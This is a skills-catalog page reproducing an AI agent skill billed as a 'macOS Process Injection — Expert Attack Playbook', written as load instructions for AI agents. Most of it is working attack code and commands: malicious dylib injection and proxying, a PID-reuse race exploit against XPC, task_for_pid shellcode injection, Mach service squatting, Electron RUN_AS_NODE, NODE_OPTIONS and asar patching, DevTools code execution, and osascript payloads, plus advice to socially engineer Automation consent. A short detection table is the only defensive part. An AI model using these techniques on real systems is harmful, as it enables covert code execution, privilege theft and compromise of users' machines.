
Macos Process Injection
- 2.2k installs
- 1.5k repo stars
- Updated June 16, 2026
- yaklang/hack-skills
macos-process-injection is an agent skill for >-
About
>- The macos-process-injection skill documents workflows and patterns from the repository SKILL.md. --- name: macos-process-injection description: >- macOS process injection playbook. Use when you need to inject code into running or launching macOS processes via dylib hijacking, DYLD environment variables, XPC exploitation, Mach port manipulation, or Electron/Chromium abuse. --- # SKILL: macOS Process Injection - Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert macOS process injection techniques. Covers DYLD_INSERT_LIBRARIES, dylib hijacking (weak/rpath/proxy), XPC PID reuse attacks, Mach port manipulation, MIG abuse, and Electron injection. Base models miss entitlement prerequisites and SIP constraints on injection vectors. RELATED ROUTING Before going deep, consider loading: - [macos-security-bypass](../macos-security-bypass/SKILL.md) when you need to bypass TCC, Gatekeeper, or SIP protections blocking your injection - [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) for Unix-layer escalation (shared object hijacking concepts apply) ### Advanced Reference Also load [DYLIB_XPC_TECHNIQUES.md](./DYLIB_XPC_TECHNIQUES.md) when you need: - Step-by-step dy.
- SKILL: macOS Process Injection - Expert Attack Playbook
- [macos-security-bypass](../macos-security-bypass/SKILL.md) when you need to bypass TCC, Gatekeeper, or SIP protections b
- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) for Unix-layer escalation (shared object hijacking
- Step-by-step dylib hijacking methodology with tooling commands
- XPC exploitation walkthrough with code examples
Macos Process Injection by the numbers
- 2,189 all-time installs (skills.sh)
- +119 installs in the week ending Aug 5, 2026 (Skillselion tracking)
- Ranked #279 of 2,203 Security skills by installs in the Skillselion catalog
- Security screen: CRITICAL risk (skills.sh audit)
- Data as of Aug 5, 2026 (Skillselion catalog sync)
macos-process-injection capabilities & compatibility
- Capabilities
- skill: macos process injection expert attack p · [macos security bypass](../macos security bypass · [linux privilege escalation](../linux privilege · step by step dylib hijacking methodology with to · xpc exploitation walkthrough with code examples
- Use cases
- documentation
What macos-process-injection says it does
--- name: macos-process-injection description: >- macOS process injection playbook.
Use when you need to inject code into running or launching macOS processes via dylib hijacking, DYLD environment variables, XPC exploitation, Mach port manipulation, or Electron/Chromium abuse.
Covers DYLD_INSERT_LIBRARIES, dylib hijacking (weak/rpath/proxy), XPC PID reuse attacks, Mach port manipulation, MIG abuse, and Electron injection.
npx skills add https://github.com/yaklang/hack-skills --skill macos-process-injectionAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 2.2k |
|---|---|
| repo stars | ★ 1.5k |
| Security audit | 0 / 3 scanners passed |
| Last updated | June 16, 2026 |
| Repository | yaklang/hack-skills ↗ |
What problem does macos-process-injection solve for developers using the documented workflows?
>-
Who is it for?
Developers working with macos-process-injection patterns described in the skill documentation.
Skip if: Skip when docs are empty or the task is outside the skill documented scope.
When should I use this skill?
>-
What you get
Grounded guidance and workflows from SKILL.md for macos-process-injection.
Files
SKILL: macOS Process Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert macOS process injection techniques. Covers DYLD_INSERT_LIBRARIES, dylib hijacking (weak/rpath/proxy), XPC PID reuse attacks, Mach port manipulation, MIG abuse, and Electron injection. Base models miss entitlement prerequisites and SIP constraints on injection vectors.
0. RELATED ROUTING
Before going deep, consider loading:
- macos-security-bypass when you need to bypass TCC, Gatekeeper, or SIP protections blocking your injection
- linux-privilege-escalation for Unix-layer escalation (shared object hijacking concepts apply)
Advanced Reference
Also load DYLIB_XPC_TECHNIQUES.md when you need:
- Step-by-step dylib hijacking methodology with tooling commands
- XPC exploitation walkthrough with code examples
- Mach port technique details and task_for_pid patterns
---
1. DYLD_INSERT_LIBRARIES INJECTION
The most straightforward injection: set an environment variable that forces the dynamic linker to preload your dylib.
1.1 Requirements and Restrictions
| Condition | Can Inject? | Reason |
|---|---|---|
| Normal (non-hardened) binary | Yes | No restrictions |
| Hardened Runtime enabled | No | DYLD strips env vars |
Hardened Runtime + com.apple.security.cs.allow-dyld-environment-variables | Yes | Entitlement explicitly allows it |
| Apple system binary (SIP-protected) | No | DYLD env vars stripped by SIP |
| SUID/SGID binary | No | DYLD env vars stripped for privilege safety |
| App Sandbox enabled | No | Sandbox blocks env var injection |
1.2 Basic Injection
# Create malicious dylib
cat > inject.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void inject() {
printf("[+] Injected into PID %d\n", getpid());
// payload here
}
EOF
# Compile for both architectures
gcc -dynamiclib -o inject.dylib inject.c -arch x86_64 -arch arm64
# Inject into target
DYLD_INSERT_LIBRARIES=./inject.dylib /path/to/target1.3 Finding Injectable Targets
# Find apps WITHOUT hardened runtime
find /Applications -name "*.app" -exec sh -c '
binary=$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
if [ -n "$binary" ]; then
flags=$(codesign -d --verbose "$1/Contents/MacOS/$binary" 2>&1)
echo "$flags" | grep -q "runtime" || echo "No Hardened Runtime: $1"
fi
' _ {} \;
# Find apps with dyld env var entitlement
find /Applications -name "*.app" -exec sh -c '
binary="$1/Contents/MacOS/"$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
codesign -d --entitlements :- "$binary" 2>/dev/null | \
grep -q "allow-dyld-environment-variables" && echo "DYLD injectable: $1"
' _ {} \;---
2. DYLIB HIJACKING
Exploit the dynamic linker's library search order to load attacker-controlled dylibs instead of (or in addition to) legitimate ones.
2.1 Weak Dylib Hijacking (LC_LOAD_WEAK_DYLIB)
Weak dylibs are optional — if missing, the binary still runs. If you can place a dylib at the expected path, it loads.
# Find binaries with weak dylib references
otool -l /path/to/binary | grep -A 2 LC_LOAD_WEAK_DYLIB
# Check if the weak dylib actually exists
otool -L /path/to/binary | grep weak | while read lib rest; do
[ ! -f "$lib" ] && echo "MISSING (hijackable): $lib"
done2.2 @rpath Hijacking
@rpath is resolved from LC_RPATH entries in the binary. If an earlier rpath directory is writable, you can place your dylib there.
# List rpath entries
otool -l /path/to/binary | grep -A 2 LC_RPATH
# List rpath-relative dylib references
otool -L /path/to/binary | grep @rpath
# If rpath includes writable directory (e.g., app's Frameworks/)
# place malicious dylib with matching name there2.3 Dylib Proxying
Replace a legitimate dylib with a malicious one that forwards all exports to the original.
# Step 1: Identify target dylib and its exports
nm -gU /path/to/original.dylib | awk '{print $3}'
# Step 2: Create proxy dylib that re-exports everything
# Move original to original_real.dylib
# Create proxy:
cat > proxy.c << 'EOF'
__attribute__((constructor))
void payload() {
// malicious code here
}
EOF
gcc -dynamiclib -o hijacked.dylib proxy.c \
-Wl,-reexport_library,/path/to/original_real.dylib \
-arch x86_64 -arch arm642.4 Dependency Enumeration
otool -L /path/to/binary # List all dylib dependencies
otool -l /path/to/binary # Full load commands (rpaths, weak, etc.)
dyldinfo -print_dependencies /path/to/binary # Detailed dependency info (pre-Ventura)---
3. XPC EXPLOITATION
XPC (Cross-Process Communication) is macOS's primary IPC mechanism for privilege separation. Privileged XPC services are high-value targets.
3.1 XPC Service Discovery
# System XPC services
find /System/Library -name "*.xpc" -type d 2>/dev/null | head -20
# Third-party XPC services
find /Library /Applications -name "*.xpc" -type d 2>/dev/null
# LaunchDaemon XPC services (root-level)
grep -r "MachServices" /Library/LaunchDaemons/*.plist 2>/dev/null
grep -r "MachServices" /System/Library/LaunchDaemons/*.plist 2>/dev/null3.2 PID Reuse Attack
XPC connections validated by PID are vulnerable to race conditions: attacker spawns process, PID is checked and passes, attacker's process exits, OS reuses PID for malicious process.
| Validation Method | Vulnerable? | Notes |
|---|---|---|
| PID-based check | Yes | PID recycled after process exit |
| Audit token | No | Unique per process lifecycle, not recycled |
| Code signature check | No | Validates signing identity |
| Entitlement check | No | Checks process entitlements |
Timeline of PID reuse attack:
1. Legitimate client (PID 1234) connects to XPC service
2. XPC service checks PID 1234 → valid
3. Legitimate client exits (PID 1234 freed)
4. Attacker rapidly forks to get PID 1234
5. Attacker's process (now PID 1234) sends malicious XPC message
6. XPC service trusts PID 1234 (cached validation)3.3 XPC Client Validation Weaknesses
| Weakness | Description | Exploitation |
|---|---|---|
| No client validation | Service accepts any connection | Connect directly, send commands |
| PID-only validation | Race condition exploitable | PID reuse attack (§3.2) |
| Bundle ID check only | Bundle IDs can be spoofed | Create app with matching bundle ID |
| Partial code requirement | Missing anchor checks | Sign with any cert matching partial requirement |
| Entitlement check on wrong process | Checks parent instead of client | Spawn from entitled parent |
---
4. MACH PORT MANIPULATION
Mach ports are the kernel-level IPC primitive underlying XPC. Direct Mach port access enables powerful injection.
4.1 Task Port (task_for_pid)
// Requires root or taskgated entitlement
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr == KERN_SUCCESS) {
// Can now read/write target process memory
// Can inject threads via thread_create_running
}| Access Method | Requirement | Post-Exploit Capability |
|---|---|---|
task_for_pid() | Root + not SIP-protected target | Full memory R/W, thread injection |
processor_set_tasks() | Root + com.apple.system-task-ports | Enumerate all task ports |
| Exception ports | Set via task_set_exception_ports | Catch target crashes, redirect execution |
| Thread injection | Task port obtained | Create new thread in target address space |
4.2 Port Namespace Manipulation
| Technique | Description |
|---|---|
| Port name guessing | Mach port names are sequential integers — brute-forceable in some contexts |
mach_port_insert_right | Insert send right into target's namespace (requires task port) |
| Bootstrap server abuse | Register service name before legitimate service → intercept connections |
---
5. MIG (MACH INTERFACE GENERATOR) ABUSE
MIG generates C stubs for Mach IPC. MIG servers may have vulnerabilities in their dispatch routines.
5.1 Analysis Approach
# Find MIG subsystems in a binary
nm /path/to/binary | grep _subsystem
strings /path/to/binary | grep "MIG"
# Identify MIG routine dispatch tables
otool -tV /path/to/binary | grep -A 5 "server_routine"5.2 Common MIG Vulnerabilities
| Vulnerability | Description |
|---|---|
| Missing audit token validation | MIG handler doesn't verify sender identity |
| Type confusion | MIG deserialization trusts client-provided type descriptors |
| Port lifecycle issues | Use-after-deallocate on Mach ports between MIG calls |
| OOL (out-of-line) memory abuse | Oversized OOL descriptors → kernel memory issues |
---
6. ELECTRON / CHROMIUM INJECTION
Many macOS apps use Electron (Slack, Discord, VS Code, Teams, etc.). Electron apps expose multiple injection surfaces.
6.1 ELECTRON_RUN_AS_NODE
# Turns Electron app into a plain Node.js runtime
ELECTRON_RUN_AS_NODE=1 "/Applications/Slack.app/Contents/MacOS/Slack" -e \
"require('child_process').execSync('id').toString()"
# This inherits the app's TCC permissions!
# If Slack has camera/mic/screen recording, your code gets it too.6.2 Debugging Flags
# Open Chrome DevTools protocol on the app
"/Applications/Target.app/Contents/MacOS/Target" --inspect=9229
# Then connect: chrome://inspect in Chrome browser
# Break before any code runs
"/Applications/Target.app/Contents/MacOS/Target" --inspect-brk=92296.3 NODE_OPTIONS Injection
# Inject preload script via NODE_OPTIONS
echo 'require("child_process").execSync("id > /tmp/pwned")' > /tmp/preload.js
NODE_OPTIONS="--require /tmp/preload.js" "/Applications/Target.app/Contents/MacOS/Target"6.4 Electron Fuses
Modern Electron apps use "fuses" to disable dangerous features. Check fuse state:
| Fuse | When Enabled (secure) | When Disabled (exploitable) |
|---|---|---|
RunAsNode | ELECTRON_RUN_AS_NODE stripped | Can use app as Node.js |
EnableNodeCliInspectArguments | --inspect flags stripped | Can attach debugger |
EnableNodeOptionsEnvironmentVariable | NODE_OPTIONS stripped | Can inject preload |
OnlyLoadAppFromAsar | Only loads from .asar | Can replace JS files |
# Check electron fuse status (requires npx @electron/fuses)
npx @electron/fuses read --app "/Applications/Target.app"---
7. APPLICATION SCRIPTING (APPLE EVENTS)
# Inject via osascript (if Automation permission exists)
osascript -e 'tell application "Terminal" to do script "id > /tmp/pwned"'
# JavaScript for Automation (JXA)
osascript -l JavaScript -e '
var app = Application("Terminal");
app.doScript("id > /tmp/pwned");
'
# JXA with ObjC bridge (powerful)
osascript -l JavaScript -e '
ObjC.import("Cocoa");
var task = $.NSTask.alloc.init;
task.launchPath = "/bin/bash";
task.arguments = ["-c", "id > /tmp/pwned"];
task.launch;
'---
8. PROCESS INJECTION DECISION TREE
Need to inject code into macOS process
│
├── Target uses Electron?
│ ├── Fuses disabled? → ELECTRON_RUN_AS_NODE (§6.1)
│ ├── Debugging available? → --inspect flag (§6.2)
│ ├── NODE_OPTIONS not stripped? → preload injection (§6.3)
│ └── All fuses on? → check dylib path or XPC
│
├── Target has dylib env var entitlement?
│ └── Yes → DYLD_INSERT_LIBRARIES (§1)
│
├── Target has missing or weak dylib?
│ ├── LC_LOAD_WEAK_DYLIB with missing lib? → place dylib (§2.1)
│ ├── @rpath with writable dir first in search? → rpath hijack (§2.2)
│ └── Existing dylib in writable location? → dylib proxy (§2.3)
│
├── Target exposes XPC service?
│ ├── No client validation? → connect directly (§3.3)
│ ├── PID-only validation? → PID reuse attack (§3.2)
│ └── Audit token validation? → need different vector
│
├── Have root access?
│ ├── Target not SIP-protected? → task_for_pid injection (§4.1)
│ └── SIP-protected? → need SIP bypass first (→ macos-security-bypass)
│
├── Can use Apple Events?
│ ├── Automation permission for target? → osascript injection (§7)
│ └── No permission? → social engineer Automation consent
│
└── None of the above?
├── Check for MIG server vulnerabilities (§5)
└── Look for bootstrap server name collision (§4.2)---
9. DETECTION & FORENSICS
| Artifact | Where to Look |
|---|---|
| DYLD_INSERT_LIBRARIES use | Process environment (/proc/PID/environ, ps eww) |
| Unexpected dylibs loaded | vmmap PID or DYLD_PRINT_LIBRARIES=1 output |
| XPC connection anomalies | Endpoint Security es_event_type_t XPC events |
| Electron debug port open | lsof -i :9229 |
| osascript execution | Unified log: log show --predicate 'process=="osascript"' |
| Unsigned code execution | codesign --verify failures, Gatekeeper logs |
Dylib Hijacking & XPC Exploitation — Step-by-Step Techniques
AI LOAD INSTRUCTION: Load this when you need detailed dylib hijacking methodology, XPC exploitation walkthroughs, or Mach port technique specifics. Assumes the main SKILL.md is already loaded for injection vector overview.
---
1. DYLIB HIJACKING METHODOLOGY
1.1 Automated Discovery with DyLibHijackScanner
# Using DYLD_PRINT_RPATHS and DYLD_PRINT_LIBRARIES for analysis
DYLD_PRINT_RPATHS=1 DYLD_PRINT_LIBRARIES=1 /path/to/binary 2>&1 | tee /tmp/dylib_audit.txt
# Parse for missing libraries
grep "not found" /tmp/dylib_audit.txt1.2 Manual Weak Dylib Enumeration
# Step 1: List all load commands
otool -l /path/to/binary > /tmp/loadcmds.txt
# Step 2: Extract weak dylib paths
grep -A 2 LC_LOAD_WEAK_DYLIB /tmp/loadcmds.txt | grep name | awk '{print $2}'
# Step 3: Check which are missing
while read lib; do
[ ! -f "$lib" ] && echo "HIJACKABLE: $lib"
done < <(grep -A 2 LC_LOAD_WEAK_DYLIB /tmp/loadcmds.txt | grep name | awk '{print $2}')1.3 Rpath Analysis
# Step 1: Enumerate rpath entries (order matters!)
otool -l /path/to/binary | grep -A 2 LC_RPATH | grep path | awk '{print $2}'
# Step 2: Find rpath-relative imports
otool -L /path/to/binary | grep @rpath | awk '{print $1}'
# Step 3: Resolve each @rpath import against rpath entries in order
# First match wins — if earlier rpath dir is writable, you win1.4 Complete Dylib Proxy Template
// proxy.c — forwards all symbols to the real dylib while executing payload
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
// Constructor runs when dylib is loaded
__attribute__((constructor))
static void payload(void) {
// Avoid running in unintended processes
const char *proc = getprogname();
if (strcmp(proc, "target_process") != 0) return;
// Execute payload
system("/path/to/payload.sh");
}
// Build with reexport to maintain original functionality:
// gcc -dynamiclib -o hijacked.dylib proxy.c \
// -Wl,-reexport_library,/path/to/original_real.dylib \
// -arch x86_64 -arch arm64 \
// -framework Foundation1.5 Signing the Proxy Dylib
# If target binary has library validation disabled, ad-hoc signing suffices
codesign -s - hijacked.dylib
# If target requires same-team signing, need a valid Developer ID
codesign -s "Developer ID Application: ..." hijacked.dylib
# If target has no library validation at all, no signing needed1.6 Dylib Hijacking Priority Matrix
| Hijack Type | Reliability | Stealth | Persistence | Prerequisite |
|---|---|---|---|---|
| Weak dylib (missing) | High | High | Per-launch | Writable target path |
| @rpath (writable prefix) | High | High | Per-launch | Writable rpath dir |
| Proxy (replace existing) | High | Medium | Per-launch | Writable dylib location + re-export |
| DYLD_INSERT_LIBRARIES | High | Low | Per-invocation | Env var entitlement |
| DYLD_LIBRARY_PATH override | Medium | Low | Per-invocation | No Hardened Runtime |
---
2. XPC EXPLOITATION WALKTHROUGH
2.1 Identifying XPC Services and Their Entitlements
# List all XPC services in an app bundle
find /Applications/Target.app -name "*.xpc" -type d
# Read the XPC service's Info.plist
plutil -p /Applications/Target.app/Contents/XPCServices/Helper.xpc/Contents/Info.plist
# Check launchd plist for Mach service name
cat /Library/LaunchDaemons/com.target.helper.plist | grep -A 1 MachServices
# Dump XPC service entitlements
codesign -d --entitlements :- /Applications/Target.app/Contents/XPCServices/Helper.xpc/Contents/MacOS/Helper2.2 XPC Connection Interception
// Connecting to a third-party privileged helper
#import <Foundation/Foundation.h>
int main() {
NSXPCConnection *conn = [[NSXPCConnection alloc]
initWithMachServiceName:@"com.target.helper"
options:NSXPCConnectionPrivileged];
// Set the expected protocol interface
conn.remoteObjectInterface = [NSXPCInterface
interfaceWithProtocol:@protocol(HelperProtocol)];
conn.invalidationHandler = ^{ NSLog(@"Connection invalidated"); };
conn.interruptionHandler = ^{ NSLog(@"Connection interrupted"); };
[conn resume];
// Call methods on the remote object
[[conn remoteObjectProxyWithErrorHandler:^(NSError *err) {
NSLog(@"Error: %@", err);
}] performPrivilegedAction:@"payload"];
[[NSRunLoop currentRunLoop] run];
return 0;
}2.3 PID Reuse Attack Implementation
// pid_reuse.c — race condition exploit for PID-validated XPC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <spawn.h>
#include <signal.h>
extern char **environ;
int main(int argc, char *argv[]) {
pid_t target_pid = atoi(argv[1]); // PID we want to impersonate
// Fork rapidly to try to get the target PID
for (int i = 0; i < 100000; i++) {
pid_t child = fork();
if (child == 0) {
if (getpid() == target_pid) {
// We got the target PID! Send XPC message now.
execl("/path/to/xpc_client", "xpc_client", NULL);
}
_exit(0);
}
waitpid(child, NULL, 0);
}
return 0;
}2.4 Audit Token Extraction
// Properly extracting audit token from XPC connection (for defenders/auditors)
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)conn {
audit_token_t token = conn.auditToken; // macOS 13+
// Or via private API:
// [conn valueForKey:@"auditToken"];
// Verify code signature using audit token (SECURE)
SecCodeRef code = NULL;
NSDictionary *attrs = @{
(__bridge NSString *)kSecGuestAttributeAudit: [NSData dataWithBytes:&token length:sizeof(token)]
};
SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attrs, kSecCSDefaultFlags, &code);
// Check requirement
SecRequirementRef req = NULL;
SecRequirementCreateWithString(
CFSTR("identifier \"com.legit.client\" and anchor apple generic"),
kSecCSDefaultFlags, &req);
OSStatus status = SecCodeCheckValidity(code, kSecCSDefaultFlags, req);
return (status == errSecSuccess);
}---
3. MACH PORT TECHNIQUES
3.1 task_for_pid Memory Injection
#include <mach/mach.h>
#include <mach/mach_vm.h>
kern_return_t inject_shellcode(pid_t target_pid, void *shellcode, size_t size) {
mach_port_t task;
kern_return_t kr;
// Get task port (requires root + non-SIP target)
kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr != KERN_SUCCESS) return kr;
// Allocate memory in target
mach_vm_address_t remote_addr = 0;
kr = mach_vm_allocate(task, &remote_addr, size, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) return kr;
// Write shellcode
kr = mach_vm_write(task, remote_addr, (vm_offset_t)shellcode, size);
if (kr != KERN_SUCCESS) return kr;
// Set executable permissions
kr = mach_vm_protect(task, remote_addr, size, FALSE,
VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) return kr;
// Create remote thread
x86_thread_state64_t state;
memset(&state, 0, sizeof(state));
state.__rip = remote_addr;
thread_act_t thread;
kr = thread_create_running(task, x86_THREAD_STATE64,
(thread_state_t)&state,
x86_THREAD_STATE64_COUNT, &thread);
return kr;
}3.2 Bootstrap Server Name Squatting
#include <servers/bootstrap.h>
#include <mach/mach.h>
// Register a Mach service name before the legitimate service does
kern_return_t squat_service(const char *service_name) {
mach_port_t bp, service_port;
task_get_bootstrap_port(mach_task_self(), &bp);
kern_return_t kr = bootstrap_check_in(bp, service_name, &service_port);
if (kr == KERN_SUCCESS) {
printf("[+] Squatted service: %s\n", service_name);
// Now receive messages intended for the real service
// Can inspect, modify, and forward them (MITM)
}
return kr;
}3.3 Exception Port Hijacking
#include <mach/mach.h>
// Set exception port on target to intercept crashes
kern_return_t hijack_exceptions(mach_port_t task) {
mach_port_t exc_port;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &exc_port);
mach_port_insert_right(mach_task_self(), exc_port, exc_port,
MACH_MSG_TYPE_MAKE_SEND);
// Intercept all exceptions
kern_return_t kr = task_set_exception_ports(task,
EXC_MASK_ALL,
exc_port,
EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES,
THREAD_STATE_NONE);
// Now wait for exception messages
// Can redirect execution by modifying thread state before replying
return kr;
}---
4. ELECTRON-SPECIFIC DEEP DIVE
4.1 Identifying Electron Apps
# Quick check for Electron framework
find /Applications -path "*/Electron Framework.framework" -maxdepth 5 2>/dev/null
# Or check for Electron-specific files
find /Applications -name "electron.asar" -o -name "app.asar" 2>/dev/null
# Get Electron version
strings "/Applications/Target.app/Contents/Frameworks/Electron Framework.framework/Electron Framework" | grep "Chrome/" | head -14.2 Extracting and Patching app.asar
# Install asar tool
npm install -g @electron/asar
# Extract app code
asar extract "/Applications/Target.app/Contents/Resources/app.asar" /tmp/app_extracted
# Modify main entry point (usually main.js or index.js)
# Add payload at top of entry script
echo 'require("child_process").execSync("id > /tmp/pwned");' > /tmp/payload.js
cat /tmp/payload.js /tmp/app_extracted/main.js > /tmp/app_extracted/main_patched.js
mv /tmp/app_extracted/main_patched.js /tmp/app_extracted/main.js
# Repack (only works if OnlyLoadAppFromAsar fuse is off)
asar pack /tmp/app_extracted "/Applications/Target.app/Contents/Resources/app.asar"4.3 Chrome DevTools Protocol Exploitation
import websocket
import json
import requests
# When --inspect port is open
debug_url = requests.get("http://127.0.0.1:9229/json").json()[0]["webSocketDebuggerUrl"]
ws = websocket.create_connection(debug_url)
# Execute arbitrary code in the Electron main process
ws.send(json.dumps({
"id": 1,
"method": "Runtime.evaluate",
"params": {
"expression": "require('child_process').execSync('id').toString()"
}
}))
result = json.loads(ws.recv())
print(result["result"]["result"]["value"])---
5. INJECTION TECHNIQUE COMPARISON MATRIX
| Technique | Root Required | SIP Bypass Needed | Survives Reboot | TCC Inheritance | Stealth |
|---|---|---|---|---|---|
| DYLD_INSERT_LIBRARIES | No | No (if entitled) | No | Yes | Low |
| Weak dylib hijack | No | No | Yes (per-launch) | Yes | High |
| @rpath hijack | No | No | Yes (per-launch) | Yes | High |
| Dylib proxy | No | No | Yes (per-launch) | Yes | Medium |
| XPC exploitation | No | No | Per-connection | Varies | Medium |
| task_for_pid | Yes | Yes (for Apple bins) | No | No | Low |
| ELECTRON_RUN_AS_NODE | No | No | No | Yes | Low |
| Electron asar patch | No | No | Yes | Yes | Medium |
| osascript | No | No | No | Automation only | Low |
Related skills
How it compares
Choose macos-process-injection over general AppSec checklists when you need macOS-native injection commands and XPC-specific exploitation steps rather than cross-platform OWASP guidance.
FAQ
Who is Macos Process Injection for?
Developers and software engineers working with macos-process-injection patterns from the skill documentation.
When should I use Macos Process Injection?
>-
Is Macos Process Injection safe to install?
Review the Security Audits panel on this page before installing in production.